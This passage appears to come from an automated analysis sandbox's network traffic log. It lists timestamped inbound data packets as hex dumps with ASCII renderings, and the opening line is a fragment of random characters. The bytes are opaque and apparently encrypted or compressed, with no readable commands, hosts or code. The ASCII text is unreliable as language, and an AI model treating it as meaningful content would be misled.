YlV/C(LnpvJ{Y}P;kL!"S7PB*I7xdN}EkK+>/.otIi_<__@qG\nE9b^{~9T\|J,"wQR/l5n`-C[=J#/ yLUM$bxeO)W7Kh`
2022-01-24 07:55:04 UTC	35	IN	Data Raw: fc b3 7b 1c 17 3b b8 1f ed 0a b0 61 2d 17 f4 1c 48 7b af 16 a2 d6 f9 6e 99 40 bd 2b da 96 33 48 0b 6c 8c 8c 02 b4 1a fb 92 99 e1 b5 57 c2 a5 e4 7f 25 51 99 16 4f 02 c1 f5 a1 0c e3 6c 66 42 f2 13 86 c7 54 a6 d6 3b 3e 75 00 e1 fa 85 d7 a3 20 d5 90 1c d7 fb 0a 72 f7 27 14 87 fd b2 cc 1c a1 03 89 08 be a3 97 20 26 02 08 dd 22 35 83 21 0c e7 6b 0f db 71 59 c6 13 aa 07 fb 81 12 65 98 ed 67 82 39 16 73 50 53 28 3b 75 66 61 ae cb dd 00 3a b4 34 6a fa 54 83 88 a4 02 ff a3 39 70 08 64 c4 fd ac 90 a9 c8 df 1a 17 e1 65 d3 c5 ee a7 75 c6 e3 3c bc 67 cf 2d 66 5b 38 a8 9e 58 3a 87 21 f6 c1 fb 1c 13 4b c7 24 1b 59 b0 76 23 1c ac 53 60 dd 60 03 28 31 05 55 4f 6e 25 bb 36 2c 8f c9 8c 3a aa bb 54 a3 a6 4b f9 f5 cb 67 5e 62 ca c4 76 47 e0 3d 83 13 f2 ea 4a d1 b9 d9 41 09 6f Data Ascii: {;a-H{n@+3HlW%QOlfBT;>u r' &"5!kqYeg9sPS(;ufa:4jT9pdeu<g-f[8X:!K$Yv#S``(1UOn%6,:TKg^bvG=JAo
2022-01-24 07:55:04 UTC	37	IN	Data Raw: 3e e1 ba 57 54 e5 24 aa ab f4 22 e6 3f 6a e8 14 24 b1 a4 ab 86 06 4e f1 46 ee d4 5c df 68 05 67 f7 b8 e9 40 c5 22 04 9a b3 d8 92 05 5a ef 27 50 9f 04 2e b0 99 af c6 c9 35 81 e1 07 aa 9c f9 bc 25 40 86 1a af 02 7c cd 4d c8 b4 57 39 04 66 f1 cb 1d eb b7 1b 61 5e 02 9a 3c 31 66 6a c1 4f 71 f7 8b dc e8 4f c4 c7 69 bc ec e3 91 6f bb 0d 38 73 aa fc ec 31 8c 39 b6 d2 46 12 dd 38 ab f5 5f 2d 0e cb c6 54 cb 3e ad 59 bd 49 70 b5 16 90 b6 4b ea ca 2b e1 53 2f 01 4d 15 61 62 2a 66 e5 a1 8c b6 b6 e0 f0 28 44 49 ef 37 f9 55 d6 65 65 c8 95 04 34 dd 25 69 a5 62 e4 de 6b d0 25 1d 1e 40 61 3e 73 25 23 6f 3b 9f 8a 2b 6d 84 63 a2 75 28 ed 8a 66 e9 cd 8f 54 2f f2 d3 fd b9 42 a2 05 6a 6d 15 de 9e c4 02 c4 30 5e 13 68 2f d4 ab 30 fa 93 bd 6e af b2 3e 5b c3 0e 76 03 9e 78 33 52 Data Ascii: >WT$"?j$NF\hg@"Z'P.5%@\|MW9fa^<1fjOqOio8s19F8_-T>YIpK+S/Mab*f(DI7Uee4%ibk%@a>s%#o;+mcu(fT/Bjm0^h/0n>[vx3R
2022-01-24 07:55:04 UTC	38	IN	Data Raw: 82 ad d8 fd 8d c0 a1 08 62 e4 d7 ab a1 99 cd de 61 17 e1 67 83 c3 ee d4 0b cc f7 23 b1 65 b4 79 66 5d 3c fa 3f 58 2f 97 4e 83 c1 e8 26 06 d1 b2 53 1a 59 ed 7a 31 0f 92 37 64 e5 23 2a 26 30 05 4e 5c 59 bd 45 37 06 a9 ce 9c 3e 2e 71 3e 30 a6 4f fb 91 90 74 5b 66 a5 b0 6a b9 eb 39 fe 04 ff fe 75 d6 67 d1 42 01 b7 c5 ae f8 54 b8 46 33 c8 5f d2 3d aa 52 73 11 28 ff 5c df 9a e3 ba 7c 35 21 41 87 61 a9 fd 27 38 64 1c 3a 19 88 6c 06 71 90 6a 6b 56 c3 ec de 83 4f c1 52 de 08 a0 12 39 7b f9 93 3e cf 57 ef f0 9a d9 62 be 30 cf a3 3b 92 ef ee 41 ae cd 07 d8 9a 18 29 3d e6 8c 4a 56 e7 35 a0 0d 2c 4a cd b8 56 97 bc 0a a8 b2 cc fa dc 86 fb a0 62 00 64 2d 1b 6f bc 93 ac fb 6f 83 73 a7 b4 7b 8a ea 55 1c a1 d7 76 08 61 e4 3b 5d d5 1f a5 dc 9d a6 44 d0 b4 c9 8a 5c 50 06 3f Data Ascii: bag#eyf]<?X/N&SYz17d#*&0N\YE7>.q>0Ot[fj9ugBTF3_=Rs(\\|5!Aa'8d:lqjkVOR9{>Wb0;A)=JV5,JVbd-oos{Uva;]D\P?
2022-01-24 07:55:04 UTC	39	IN	Data Raw: 05 d6 2c e9 7f 3c f0 d9 3d 4f ae 38 f6 06 20 46 d5 fe 24 89 0b c0 f9 7e 1c a0 0e 22 40 24 61 ba 6b f2 bc 78 a5 55 1c 09 47 77 21 7f 16 06 6b 3b a3 88 a5 da c8 73 78 73 d6 df a0 66 ef c7 84 48 4e 9e db eb bf e4 3b 18 65 b1 15 e5 9d c4 0e d8 60 5e 13 68 3b a9 ba 21 77 bc c9 23 ae a1 3a 59 93 b3 60 2a 16 c8 86 12 55 a7 d8 d3 1d 90 df 6a 44 90 ca 51 58 c3 80 2a b6 04 b8 2b da f6 46 8c a0 e4 3a 9e 2e c8 92 d9 37 73 38 a0 a9 88 88 cc 0c f6 cf 3f e4 1c f1 64 ff cd d4 79 7f 7b 53 e8 0a 14 20 0c fb 64 be 6a e1 01 5b 0e 8d 87 df cd a1 7b 04 e3 cd 5a 63 c6 81 00 4a 1d 28 bb 8f 88 80 88 61 2b 02 23 0f 49 51 be 11 b9 38 f8 42 81 48 cb 2b 5e 4d 33 71 1f 6d 8c 87 31 eb 1f fb a5 a3 c7 4a 88 3d be e6 7a 09 49 9c 66 8e fc c0 d3 a1 37 c1 79 4d 6a 65 3b 88 cc 7c ea ff 54 35 Data Ascii: ,<=O8 F$~"@$akxUGw!k;sxsfHN;e`^h;!w#:Y`UjDQX+F:.7s8?dy{S dj[{ZcJ(a+#IQ8BH+^M3qm1J=zIf7yMje;\|T5
2022-01-24 07:55:04 UTC	40	IN	Data Raw: af 44 c9 77 46 0c b4 30 4a 7c e4 86 2d 42 41 ea eb 65 cc 5a a1 1a 44 8c 3b 98 cd d3 4d b2 d4 11 dc 82 01 ba 0d 18 8d 67 4b d9 2c b4 0d 26 67 f9 b6 42 9c 35 35 b9 b7 d5 12 f5 3e f3 d3 d4 2c 6a f7 58 76 af 94 84 fe 6a 9c 70 4a b2 7c 8f 2b 1b 15 3b d9 41 16 72 e1 31 5f d7 16 bd 2a e2 fb 50 d6 b6 f2 8c 49 42 08 05 c0 e7 66 59 1a 4b bb bb 78 64 c4 fe 48 1b 6a 79 3a f4 bc b1 c7 3a ec 3e 86 04 bb 03 ba 37 07 d8 27 32 e9 85 a2 74 61 25 58 63 bb 19 99 c5 da ab 29 d1 20 c2 5e 98 44 8f 6d 02 dd fc 47 a7 ee 6e 45 39 62 ef 54 3d d8 ce ed 81 0c 53 00 9a b1 32 d8 2d 7f 30 ec 4b 94 c5 63 29 e0 1d d8 e0 06 0b e7 a1 a8 86 04 4e c3 45 ee d8 65 48 40 63 6e 98 86 87 d7 ce 24 61 f6 b8 ca b1 42 43 ed 27 5c a4 95 04 d3 81 b9 c7 9e 5c 82 eb 0d c3 03 97 a7 2e 51 86 05 8f 02 3a ce Data Ascii: DwF0J\|-BAeZD;MgK,&gB55>,jXvjpJ\|+;Ar1_*PIBfYKxdHjy::>7'2ta%Xc) ^DmGnE9bT=S2-0Kc)NEeH@cn$aBC'\\.Q:
2022-01-24 07:55:04 UTC	42	IN	Data Raw: 6e ee cb 96 4a 6b 72 42 ed 65 8c bf 0e fd 0b c0 69 e1 0b 43 0f 9c 83 f8 51 a1 7b 14 e9 13 4a 46 ee b6 00 5b 17 3b bc b2 87 a8 b0 5b 2e 08 fd 00 4f 7b be 0b b8 28 f9 51 b1 4f 9d 3d d8 96 33 00 05 6d 9d 90 39 d1 23 fd 9b a3 c7 4a b9 37 a1 e7 86 24 6c 8f 0f 6d 5e c1 d9 bd 88 78 6d 67 43 e1 3e 97 d7 47 a6 fe 45 35 6a 18 32 f6 b6 cd b6 0f 76 80 1b c2 7b cb 73 db 2d 79 cf e2 a1 db 05 a7 0d 8e 04 a8 5d 87 0b 37 c4 c0 f3 25 36 8a 00 01 f4 78 19 d1 7f 53 2e ec 87 22 c0 21 03 62 98 e3 6e 8e 3c e8 63 76 4e 1e c0 4c 2b 96 69 91 a1 71 3b ab 20 51 84 55 92 88 bb f8 fb a7 ec 61 0c 4a b4 fd ac 81 dc c0 df 7d 17 d7 65 83 c5 99 b7 63 cc b6 dc 4e 9a c5 86 99 a4 7d 81 bf 58 e9 8c 4e 83 a2 fb 16 05 73 ee 52 1a 46 bb 7a 31 01 85 24 61 c2 6b 2b 26 2f 04 5f 59 c0 b0 bb 36 37 b4 Data Ascii: nJkrBeiCQ{JF[;[.O{(QO=3m9#J7$lm^xmgC>GE5j2v{s-y]7%6xS."!bn<cvNL+iq; QUaJ}ecN}XNsRFz1$ak+&/_Y67
2022-01-24 07:55:04 UTC	43	IN	Data Raw: d4 2c f9 b0 eb eb 92 55 a0 4f be cb d9 69 ff 79 6f 4f 20 77 96 fc 14 f0 a7 e4 a9 32 7b 96 91 6f 38 cf 2e 56 44 ef 4b 92 aa f4 28 95 62 c9 ff 0e 22 cf c5 b0 b6 06 66 dc 45 ee d2 17 61 68 14 72 84 a8 53 40 cf 2e 43 67 b1 d8 9e 42 00 ee 27 50 81 0a 2d 6a 8b a8 e8 bd 47 3b eb 0b a6 9e 91 c8 f5 40 8c 1d b5 25 45 de 43 fa d4 54 12 4d 7e d6 69 13 71 a2 0c 74 4b 2e 25 8b 27 5d 7d d5 73 50 ff 9d cf f1 60 9e 5b 61 ad e2 6a 85 b7 b8 2e 17 6c 8e fc e6 28 97 14 9f d7 6e 29 00 2d a0 d9 56 2d 0c eb 91 7f 7a 38 c2 d8 ad 41 61 4e 00 a0 a5 42 fb c3 b4 52 49 6a 12 4a 37 8e ee 2b 6c c2 5a d9 b9 a4 ed 26 88 50 49 e9 3f 93 7c 45 65 6f 1e ac 02 22 cd 32 06 2d 61 e4 26 7e 77 4d 0e 03 49 59 f9 73 3e 13 7b 3c b8 83 03 3e d4 63 a4 0b 8a 53 8b 60 fc cc 99 4d 40 98 fb a9 be 6a 8a 68 Data Ascii: ,UOiyoO w2{o8.VDK(b"fEahrS@.CgB'P-jG;@%ECTM~iqtK.%']}sP`[aj.l(n)-V-z8AaNBRIjJ7+lZ&PI?\|Eeo"2-a&~wMIYs>{<>cS`M@jh
2022-01-24 07:55:04 UTC	44	IN	Data Raw: fc a2 3a f4 be 8b 61 98 fa 0f 17 37 e8 74 6f 57 12 37 5c 0b b7 da 37 a3 77 54 3e 3f 42 88 46 89 93 ae 17 f6 a3 23 73 08 64 81 77 ad 8b 9f e5 67 7d 17 e7 76 8b d4 e6 a2 9d cd f0 2b cf f6 b4 79 6c 4d 14 ae bf 58 30 9b b0 82 a0 d7 33 14 d6 c3 73 32 1f bb 7a 3b 0f 8d 35 6d f5 3f 28 26 36 6a d5 58 46 b6 d4 ae 2a a7 cd 9c 3d 88 71 01 a3 a0 5c f3 9f 98 4f d0 67 b4 bf 5a 04 fb 1f d3 9c f3 e0 6c fe 5d d1 4f 32 8f 48 8d d6 5d 86 49 3f d9 52 dc 34 d6 7f 71 00 2b f9 af cf bc 8f 86 6d 30 27 41 8f 6f ad 6c 00 16 6c 13 3c c2 ad 43 08 62 93 05 50 51 df 14 d9 be 49 ac 6c 56 09 aa 30 04 7d e4 86 28 c7 98 e5 ce 4c ef 4e b5 38 f4 82 13 aa e5 c2 47 6c de 13 d4 9c cb 25 3e 09 81 77 4e cf 44 4b f2 d3 5a f6 b0 90 97 a8 1b a8 a6 c6 8a 6a 95 94 2d 21 ff 62 0d 11 76 af 97 b0 ea 6a Data Ascii: :a7toW7\7wT>?BF#sdwg}v+ylMX03s2z;5m?(&6jXF*=q\OgZl]O2H]I?R4q+m0'Aoll<CbPQIlV0}(LN8Gl%>wNDKZj-!bvj
2022-01-24 07:55:04 UTC	45	IN	Data Raw: c8 f3 6c 23 db 3e 89 4e 56 3c 01 d2 c9 13 aa 3e ad 55 84 24 66 63 0f f7 b4 42 fb c9 ca 70 63 e0 15 4c 15 78 60 2a 6a a7 1f 50 b8 a2 e1 05 e0 45 6c c7 1b 96 02 dc 76 66 67 9d 06 34 da 3e 41 9d 60 e4 2a b7 ad 59 34 11 50 61 3e 73 3e 15 6a c8 50 8a 3e 77 d7 63 a3 7f 30 51 8b 3a ef c6 88 14 51 91 c2 8e 07 6a 8c 0d 60 6d 43 dc 9d c4 00 83 e0 5d 13 68 00 ea a6 31 fc bf d1 21 af b4 50 97 1d 04 7b f1 96 5a 74 32 8f b0 04 52 1e a8 df 6b 43 46 c2 d9 91 f0 91 f0 a3 29 b9 36 ca d8 7b c8 a3 ee 34 a0 3e dc 9a 51 ef a4 3d 2e 14 8c ae fc 25 c1 c5 17 79 11 d9 56 ee cb dd a0 6b 74 68 ec 79 8c 21 0c fd 0d ad 77 c3 0b 46 10 9c 83 f6 51 a1 4b 0e f5 5f 4b 48 f4 b6 00 4b 0c 0b bf 9b de a8 b0 61 75 08 fd 1e 3c c1 be 11 b2 22 fe 3c ae 49 9d 2f f3 81 31 60 03 45 c7 85 2a dd 33 e3 Data Ascii: l#>NV<>U$fcBpcLx`jPElvfg4>A`Y4Pa>s>jP>wc0Q:Qj`mC]h1!P{Zt2RkCF)6{4>Q=.%yVkthy!wFQK_KHKau<"<I/1`E*3
2022-01-24 07:55:04 UTC	47	IN	Data Raw: 2b 87 25 df b6 e6 8f 6d 36 0b 46 93 78 ca 8b 27 14 6a 02 f7 dc 93 60 03 5a 19 6a 7a 53 ce 14 ce a7 53 ac f3 56 09 a6 0b 23 6e e2 91 33 d5 29 63 ea 64 de 5d be 23 e1 9d 33 8b 8a 4b 4c b2 d8 11 d2 9a 14 1e bc 19 8d 6c 70 b9 a9 be 25 a2 4a e7 ad 6b bb a8 00 91 39 d5 04 d7 87 c4 a0 fc 02 64 21 02 7a be 9a bd e3 05 b4 78 59 b3 46 8f ea 5a 7a 1f d9 69 04 63 ed 2a 46 bf 26 ac 22 9a 9b 5d fe 22 e2 85 59 3f 2a 15 c9 c9 03 48 16 22 21 85 78 6e 1b e2 6b 22 5b 51 60 fe af b6 f9 2c eb 38 87 07 2b 16 b2 20 c0 c2 23 50 74 95 b4 40 19 d0 b6 96 81 af b2 a4 df d8 ac f8 b6 c9 56 ba 05 a5 45 66 f6 67 41 c8 73 47 d9 33 73 ef 6e 81 f0 ad e4 ee be 7a 96 91 de be c8 04 5d 43 80 cc 93 aa fe 47 68 16 c9 e0 07 27 e7 64 a8 86 04 15 d6 45 ee d8 7c 70 6d 2d f6 98 80 e2 68 6e 27 6b e1 Data Ascii: +%m6Fx'j`ZjzSSV#n3)cd]#3KLlp%Jk9d!zxYFZzicF&"]"Y?H"!xnk"[Q`,8+ #Pt@VEfgAsG3snz]CGh'dE\|pm-hn'k
2022-01-24 07:55:04 UTC	48	IN	Data Raw: f2 a7 07 c1 ff ca de 59 9a 91 a8 41 aa 25 de 9c 44 94 73 29 3f 0d 3d 87 db 0d f0 aa 3f 71 1c f7 7f fa da c4 11 48 70 42 eb 0a a8 23 0c fb 1a b9 7a f2 64 6d 08 9c 85 98 77 a3 7b 08 f8 07 63 e8 ed b6 06 25 3d 39 bc 9d 93 ac a1 75 44 1e fc 0f 45 69 a6 39 7e 29 f8 48 ac d1 43 25 c9 8e cd 76 1b 6d 8c 9d 45 8c 1b fb 92 7f d6 4e 82 3d be f6 50 25 40 9c 09 b9 fc 6d 70 b6 0a c3 6d 67 42 f0 3b 51 c7 f7 d0 fc 5a 3f 75 0a cc f5 9a 45 b2 5f c4 82 15 c8 f7 f4 73 c0 1c 60 ca b5 b3 c8 0f cd 1c 84 0a a6 b3 0b 0c 3e fc 08 e2 23 27 93 04 04 62 69 0e cc 76 c2 c1 eb b3 3d 64 87 07 7b 8e 60 71 9b 2c fe ee 6d 57 18 28 d1 16 99 4d 22 3f 60 3d a9 28 de 9f 53 9d 94 3b 17 fc 94 a6 66 94 73 e8 e2 a6 9d 05 dc d9 62 1c f7 f9 92 c3 f1 ba 75 50 f0 25 ae 68 a2 e5 77 5d 23 8e a9 c4 2b 8b Data Ascii: YA%Ds)?=?qHpB#zdmw{c%=9uDEi9~)HC%vmEN=P%@mpmgB;QZ?uE_s`>#'biv=d{`q,mW(M"?`=(S;fsbuP%hw]#+
2022-01-24 07:55:04 UTC	49	IN	Data Raw: 45 b0 b2 bc bb d3 3c ff 38 8d d3 03 b0 b9 37 10 c8 a6 46 7c 84 a3 6d 64 3e 5f 7f b8 3e 99 b5 d9 ab 25 5b a7 d5 49 83 52 04 54 76 c6 ed 4e e0 68 6f 45 39 d1 f4 50 07 e5 bc fb 95 1e 62 1b b4 b1 38 c8 17 40 45 f8 5d 85 36 e5 3f f7 00 55 fb 03 3a d8 58 ba 91 2a c5 55 44 e4 c3 63 77 f8 29 66 89 95 fe da e7 35 6b e7 b8 cb 96 7b 33 f9 b7 76 93 12 10 c4 11 80 ff b6 34 8b 3b 19 ac 94 8d 8f 30 40 8c 1d 8e 18 52 cd 47 b6 8b 55 12 56 7c de 69 0a f3 21 24 6e 5e 13 0c 11 0f 46 50 d0 41 71 f1 b5 de e0 64 e7 c5 6a bc e1 51 ac 6b aa 0d 29 73 a0 fc ec 31 89 12 ee c6 64 0b f3 3a a1 df 40 14 90 c2 cf 76 56 04 de 7d ae 41 61 70 15 89 b7 4b 94 eb a7 56 67 f1 03 5b 38 8e 47 28 6c ce 24 42 a9 ae cf 92 3e 50 43 80 0a 94 02 d0 74 7f 3c 07 07 34 da 5a 43 a7 60 e2 26 78 bd 31 08 11 Data Ascii: E<87F\|md>_>%[IRTvNhoE9Pb8@E]6?U:X*UDcw)f5k{3v4;0@RGUV\|i!$n^FPAqdjQk)s1d:@vV}AapKVg[8G(l$B>PCt<4ZC`&x1
2022-01-24 07:55:04 UTC	50	IN	Data Raw: 16 1a 8d 60 4c fb a9 b1 62 0a 49 e7 a1 57 8e 91 c8 ba b7 d2 6b f7 a8 f2 d5 d8 11 6e 48 07 77 af 9c bd e4 05 5b 7a 59 bf 6d 2e 05 ae ea e5 cd 78 0c 07 da 3b 4c d1 2c a2 33 92 ff 6a d6 bc e0 ea 08 50 00 1d 15 11 10 7c 32 7a 37 84 72 77 c8 9e f4 0a 6c 5b 6b dc 84 bb d1 1e 35 3a 8b f3 2c 2d ba 37 16 90 1f 41 7c 86 a2 7e 72 76 49 69 a9 53 b0 a4 d9 17 2e f9 b6 d5 5e 92 55 a6 45 60 de fc 41 c8 79 69 45 33 73 2b 47 14 f0 79 ef 81 0a 6e 96 9b b1 22 c9 04 56 47 df 4e 92 ab f5 28 e0 79 c9 ea 05 34 dc c1 93 74 02 66 55 44 ff d7 6c 9f 69 29 64 b0 ae ea 40 c9 28 72 f4 b7 d8 89 6f 3d 10 26 76 89 15 0f c9 98 ad ee a7 31 9b 15 0a 80 9b 80 a5 4b 8b 8c 17 ac 3d 89 de 49 cf 82 46 17 4d 7e dc 6f e3 ea 9d 0b 7d 5c 03 14 9a 22 48 5b 2e 4a 4e f7 94 de e4 55 c7 c9 6c be e1 79 93 Data Ascii: `LbIWknHw[zYm.x;L,3jP\|2z7rwl[k5:,-7A\|~rvIiS.^UE`AyiE3s+Gyn"VGN(y4tfUDli)d@(ro=&v1K=IFM~o}\"H[.JNUly
2022-01-24 07:55:04 UTC	51	IN	Data Raw: 16 3b bc 85 83 a8 b0 74 2b 08 fd 15 4f 7b bf 0a 88 2b f8 02 80 48 9d 5a db 96 22 13 bf 6d 8c 8c 20 a5 27 fb 98 a9 ef 80 ab 3d b8 e0 17 18 40 9e 03 68 fb c6 d2 6a 1b c2 6d 67 9c e6 1e a0 f1 54 ac f4 47 3b 73 01 e4 cf 9a dc ba fa dc 80 1b c8 89 c8 73 db 26 42 00 fe b2 ce 18 c8 21 84 1b b3 af 8e 48 8e fd 09 fb 28 3f 86 1c 04 ed 75 30 19 60 5e d0 fc a5 3a f5 0c 12 67 e6 c0 60 9d 3c c0 b9 7f 51 05 2f 48 2f bb 51 34 a9 66 54 89 3e 42 84 46 85 aa b7 07 fa 81 be 76 20 ae ed fd aa e4 28 cc df 77 63 f3 65 83 de 81 a5 62 cc eb 30 ba 74 b2 51 ab 58 3c 86 d0 e9 3b 8d 44 f7 d2 fb 16 1e c2 e8 43 1c 71 74 79 31 18 eb 95 60 dd 60 5f 34 30 05 44 4a 4e a2 b3 27 22 29 70 9a e0 88 c0 01 a3 8d 5e fc 9f 96 4f be 66 b4 b3 64 4e 99 37 f9 12 f4 f3 6c c2 6d d1 42 36 67 3b af d2 32 Data Ascii: ;t+O{+HZ"m '=@hjmgTG;ss&B!H(?u0`^:g`<Q/H/Q4fT>BFv (wceb0tQX<;DCqty1``_40DJN'")p^OfdN7lmB6g;2
2022-01-24 07:55:04 UTC	53	IN	Data Raw: 51 c7 97 91 aa f2 3d f6 3f 8a eb 14 28 d8 5e 83 5b 01 66 53 51 f8 fa 37 60 68 0f 7b 02 a8 eb 41 cf 22 43 7b b2 d8 92 05 02 ec 27 5c a7 30 14 d6 a3 76 ed b6 32 ee 76 0b ac 9e ba 82 35 46 9d 12 8e f4 50 cd 4b d7 8f 7d 51 4c 6f d3 6f 87 c3 6c 0b 65 49 13 02 a3 64 56 50 da 5d f8 91 bb cd e0 62 fc d0 48 72 e7 79 84 06 80 09 3f 5d 88 ed ea 54 89 3d a7 dd 7f 29 b2 ff a1 d9 5c 06 c0 3d 30 83 a4 28 bc 55 d9 7a 67 63 04 b4 ab 52 f1 b6 9e 56 61 e1 7c 1d 3d e1 69 f6 7d c0 22 84 ab ac f6 06 2f 59 c7 58 13 ec fc 29 9a b1 01 9a 2c 03 dc 35 63 b6 67 97 9a 69 ad 54 15 38 78 61 3e 79 e0 11 6c 11 ae a0 2b 6d 96 57 a2 64 02 52 8b 66 b9 c6 88 4a 1b 90 d3 fd 1d 6b 8c 07 7c 6b 3d f0 9c c4 04 ab f7 5f 13 6e 2e af a5 31 39 96 c9 23 66 b3 3f 51 08 04 71 2f 82 7f 5c 04 94 80 0b 5e Data Ascii: Q=?(^[fSQ7`h{A"C{'\0v2v5FPK}QLooleIdVP]bHry?]T=)\=0(UzgcRVa\|=i}"/YX),5cgiT8xa>yl+mWdRfJk\|k=_n.19#f?Qq/\^
2022-01-24 07:55:04 UTC	54	IN	Data Raw: 9a a5 67 92 6e f1 e9 bf 99 99 dc cd 62 34 1f 64 af c8 ff be 72 c9 8e 05 b3 65 b2 66 42 48 2e 80 ae 4a 25 97 b0 82 ec f0 3e f6 d2 ef 54 09 5c a5 61 22 0c 84 35 73 c2 7b d5 27 1c 18 4e 52 51 3d e4 36 2a a6 d4 82 2b af d0 1e 9e 3b 5e f4 e1 d6 66 5e 6c a7 bf 68 55 f9 07 fb 03 e0 f9 98 d2 4b c9 34 a4 b9 3b a5 de 47 93 48 32 d9 4d d2 20 47 56 5f 16 3c e2 b4 44 9e 12 a1 6f 36 37 78 ac 7e a5 09 30 27 54 0a 3e dc 97 73 1a 70 8a 7e 84 52 f3 1b e7 67 45 c3 7a 48 1c b3 0a 2a 6e f6 9f 1f 31 47 c6 fb 75 d0 66 40 31 e7 8a 54 b8 e7 c2 4b ad fb 11 ca 8b 0c 24 2d 0d 73 67 71 e8 a9 bf 1b b6 63 6e a4 46 82 af 22 97 b7 d4 0e cb ea cd d2 de 00 7b 31 02 64 af 87 be fd 94 9d 56 5a ad 44 91 fb 40 07 24 fa 97 03 5e ed 2a 44 d8 6f 86 20 9c 8c 4e f4 af f3 85 4e 42 1d e9 c8 e3 0e 48 Data Ascii: gnb4drefBH.J%>T\a"5s{'NRQ=6+;^f^lhUK4;GH2M GV_<Do67x~0'T>sp~RgEzHn1Guf@1TK$-sgqcnF"{1dVZD@$^*Do NNBH
2022-01-24 07:55:04 UTC	55	IN	Data Raw: 7b 3b 67 d9 25 c8 ae b5 ec 1f 2e ca 26 24 2c 96 08 ce bf 00 f9 bf 04 3e d0 24 62 b4 70 7e 08 94 ae 5e 18 7f bc 61 3e 79 2f 18 7b 2b be 5c b1 45 29 60 a2 62 6f ae 8b 66 e5 99 a4 3f 40 9a c2 ed 27 7c 9d 0c 7b 7b a7 9f 57 c4 04 a1 e0 85 7c 83 28 af af 22 ff 86 c2 32 bf a5 e9 cb 0b 15 7a 3e 88 68 8a 9f e0 7b 0e 5e 3c 88 05 04 a4 98 c2 d5 fc da e3 d2 a5 01 a8 27 db cf 56 e2 6b ee 32 82 3d ef b4 46 91 6a 52 06 1c 52 a6 c8 1c e7 c3 78 57 1e f1 68 ff da c6 7b 04 54 40 ed 63 9d 30 24 02 08 ad 6d 8e 21 4a 0a 9a 85 e6 40 ce 6d 0f e9 19 5a 56 f9 60 13 5a 06 2b ad 8c bc b5 4f 9e d4 19 f4 18 99 68 b7 00 b1 39 eb 7c 22 b5 62 d4 05 83 16 48 32 6d 8c 8c 39 c9 68 41 98 a3 cd 47 80 05 be f7 72 fb 42 98 23 4c d6 c0 98 ab 04 c3 6d 67 42 f2 1a 88 c6 54 69 fc 54 3f 93 08 cc f7 Data Ascii: {;g%.&$,>$bp~^a>y/{+\E)`bof?@'\|{{W\|("2z>h{^<'Vk2=FjRRxWh{T@c0$m!J@mZV`Z+Oh9\|"bH2m9hAGrB#LmgBTiT?
2022-01-24 07:55:04 UTC	56	IN	Data Raw: 52 18 a5 30 1b 7f e4 8a 16 c4 35 50 eb 64 d2 45 68 ef e7 8c 3b 83 e0 ea 11 b2 de 04 d5 82 35 e3 31 18 8b 4e 8b f2 b8 b3 25 71 4b e7 a1 55 80 b0 22 61 b4 d4 02 f5 73 f1 d3 d8 28 39 27 11 70 bc 90 a5 c2 b0 9f 7a 5f 9d 8c 80 fb 57 3d 66 db 69 04 61 e9 32 64 df 04 ae 24 b4 9a 55 d6 ba c9 d8 5f 50 06 04 ce c6 2d 48 1e 4d 31 ac 6a 60 c5 eb 66 57 6c 51 66 f8 ad b3 f9 3a e9 38 8b cf 03 29 ba 37 1c c7 05 12 0f a6 a0 7e 74 3c 40 78 a0 21 b5 8c 0e a8 2f ff a7 c5 76 b5 55 a6 4f 0f f6 fe 41 ce 68 66 54 3b 1c c1 44 14 f6 bc e7 90 0d 14 b0 99 b1 3e d8 0d 7f 47 eb 4b 94 c5 de 2a e0 11 cf fb 1d 4d d9 c5 ab 8c dc 69 70 6c d9 d2 74 6b 7b 0f 45 a0 80 e8 4a 11 24 b5 f2 97 f0 af 6a 24 e4 34 51 ff b9 05 d3 81 a3 c6 8e 34 81 e1 d5 ae 92 bc a0 0e 40 8c 17 e7 1e 53 cd 4d c2 99 55 Data Ascii: R05PdEh;51N%qKU"as(9'pz_W=fia2d$U_P-HM1j`fWlQf:8)7~t<@x!/vUOAhfT;D>GK*Mipltk{EJ$j$4Q4@SMU
2022-01-24 07:55:04 UTC	58	IN	Data Raw: 56 c8 72 42 e7 4d 9d 21 0c f7 18 aa 7a e5 23 d4 0a 9c 89 e8 41 89 92 0f e9 19 5a 40 34 a1 da 55 38 2a bb b3 1e a8 b0 6b 34 18 d5 e6 4e 7b b4 c7 a7 11 a5 98 92 4d 95 3a de be d9 61 05 67 00 d9 2a db 1a d3 a9 a2 c7 40 a4 2c b8 e0 ae 36 46 8f 0f 54 f5 fe e7 48 fb 3c 65 4f de f2 3b 82 cc 8a be d6 63 3f 75 00 e4 d9 98 dc b6 2d fd b9 1b c8 fd 2a 73 dd 06 6a ca bc ae c8 0f a7 1c 84 1b b9 a3 86 27 44 fd 09 f1 5f 37 95 12 00 fe 78 08 c1 60 5e d1 f6 9b 2c f8 90 00 62 98 82 60 9d 27 ea 78 7e 47 6c df 4c 07 95 4e 6b 90 79 39 a3 51 44 8f 55 89 88 a1 2e 66 8b af 7a 20 07 ef fd a6 86 ea e9 de 7d 1d f2 63 92 c3 fa 9e 78 c8 e1 25 a6 e8 b3 79 66 5a 2f 88 ae 50 2c f3 2a 83 c0 ff b4 14 d9 fb 46 32 90 bb 7a 3b 0f 82 30 49 c1 6e 2b 20 27 88 58 59 46 b1 a8 3e 3b af d1 9a b6 2a Data Ascii: VrBM!z#AZ@4U8k4N{M:ag@,6FTH<eO;c?u-sj'D_7x`^,b`'x~GlLNky9QDU.fz }cx%yfZ/P,F2z;0In+ 'XYF>;*
2022-01-24 07:55:04 UTC	59	IN	Data Raw: eb bb 93 55 ac 6d fc de fc 4b db 7f 66 6d ba 70 e5 40 3c de af ee 87 22 9e 97 9b bb 10 55 04 57 5e fc 4f 94 82 16 2b e0 11 e1 c4 16 22 c9 ec 4e 87 02 6c 7d d8 ee d2 7e 72 6f 03 45 11 83 e8 46 e7 0a 69 e7 b4 f0 7d 6b 24 e4 0f c6 8c 03 0f c0 8e b9 e8 9e 1a 83 eb 0d ba bc b8 a7 24 4a 9a e9 a7 3b 54 e5 63 c0 99 53 04 65 41 d9 78 17 fd 4f 09 3a 63 01 00 87 fa f0 50 d0 4b 73 f8 b5 e1 e2 64 eb c0 48 83 e4 79 88 7f 84 4b 4c 79 8c fc ea 28 97 2d af ff 39 21 dd 3e ce f1 54 3c 0d d2 c7 6d 7c 51 89 5d ac 47 76 6b 14 9c 8f 41 fa c3 a3 39 47 e2 13 4c 2c e9 4b 1c 68 c8 33 3d 92 a6 e7 08 39 41 41 80 3a 97 02 dc bb 3a 67 9d 06 